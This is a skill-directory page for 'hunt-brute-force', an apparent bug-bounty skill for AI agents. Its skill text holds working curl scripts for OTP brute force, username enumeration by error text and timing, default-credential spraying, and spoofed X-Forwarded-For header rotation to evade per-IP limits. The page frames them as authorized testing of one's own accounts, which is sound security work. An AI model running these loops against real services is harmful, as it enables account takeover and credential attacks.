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hunt-brute-force

Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concur…

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-brute-force

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Supported Platforms

Universal

Tags

Our assessment of hunt-brute-force

hunt-brute-force scores 96/100 on our quality scale, 35th of 394 Communication skills we index (top 9%).

Its SKILL.md is 17 KB long, well organised into 73 sections with 8 code examples: a thorough specification that gives an agent plenty to work with.

With 5,198 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 26 days ago, so hunt-brute-force is actively maintained.
  • Our last check on 2026-11-15 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-09-28. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-brute-force compared with similar skills

All 4 of these similar skills score higher than hunt-brute-force; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-brute-force (this skill)by elementalsouls965.2k26d agoSKILL.md
x402by browser-use100121.0k3d agoSKILL.md
algorithmic-artby anthropics100177.9k55d agoSKILL.md
pptxby anthropics100177.9k55d agoSKILL.md
designby nextlevelbuilder100149.0k6d agoSKILL.md

Frequently asked questions

How do I install hunt-brute-force?
Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-brute-force. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-brute-force work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-brute-force safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-brute-force still maintained?
The repository was last updated 26 days ago, so hunt-brute-force is actively maintained.

name: hunt-brute-force description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical)." sources: public_research report_count: 6

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports. report_count is intentionally 0 — do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

  • OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
  • Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
  • Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
  • Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
  • ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

Autonomous Testing Priority

Work within your turn budget — prioritize signal over volume.

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

Strategy:

  1. Identify the login endpoint and the expected parameter names (username/email, password).
  2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
  3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
  4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.

What to look for as success:

  • Session token or JWT in the response body or Set-Cookie header
  • Redirect to authenticated dashboard
  • Response body that differs from the failed-login baseline

Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.


CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):

| State | Signal | Brute still feasible? | |-------|--------|-----------------------| | Hard account lockout | account disabled after N fails; later correct creds also fail | No (but lockout itself can be a DoS finding) | | Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) | | CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it | | Silent shadow-throttle | 200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |

Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)

# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

Phase 2 — OTP / 2FA Brute Force

# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

Phase 3 — Username / Email Enumeration (string AND status AND timing)

VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

Phase 3b — Unthrottled registration (mass account creation)

An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst */signup/*/register (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.

Phase 4 — IP / Source Rotation Bypass

# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

Phase 5 — Token Entropy (measure it, don't eyeball it)

# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for 

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars5.2k
CategoryCommunication
Updated26d ago
Forks796

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions